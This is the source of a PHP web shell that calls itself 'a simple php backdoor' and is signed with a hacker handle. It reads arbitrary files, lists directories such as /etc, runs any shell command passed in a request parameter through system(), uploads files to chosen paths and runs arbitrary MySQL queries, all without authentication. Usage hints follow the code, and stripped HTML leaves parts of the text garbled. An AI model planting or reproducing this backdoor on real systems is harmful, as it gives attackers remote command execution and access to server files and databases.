// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\ ob_implicit_flush(); if(isset($_REQUEST['f'])){ $filename=$_REQUEST['f']; $file=fopen("$filename","rb"); fpassthru($file); die; } if(isset($_REQUEST['d'])){ $d=$_REQUEST['d']; echo "
"; if ($handle = opendir("$d")) { echo "listing of $d
"; while ($dir = readdir($handle)){ if (is_dir("$d/$dir")) echo ""; else echo ""; echo "$dir\n"; echo ""; } } else echo "opendir() failed"; closedir($handle); die ("
"); } if(isset($_REQUEST['c'])){ echo ""; system($_REQUEST['c']); die; } if(isset($_REQUEST['upload'])){ if(!isset($_REQUEST['dir'])) die('hey,specify directory!'); else $dir=$_REQUEST['dir']; $fname=$HTTP_POST_FILES['file_name']['name']; if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname)) die('file uploading error.'); } if(isset($_REQUEST['mquery'])){ $host=$_REQUEST['host']; $usr=$_REQUEST['usr']; $passwd=$_REQUEST['passwd']; $db=$_REQUEST['db']; $mquery=$_REQUEST['mquery']; mysql_connect("$host", "$usr", "$passwd") or die("Could not connect: " . mysql_error()); mysql_select_db("$db"); $result = mysql_query("$mquery"); if($result!=FALSE) echo "query was executed correctly
\n"; while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); mysql_free_result($result); die; } ?>
to browse go to http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
for example: http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix or http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
execute mysql query: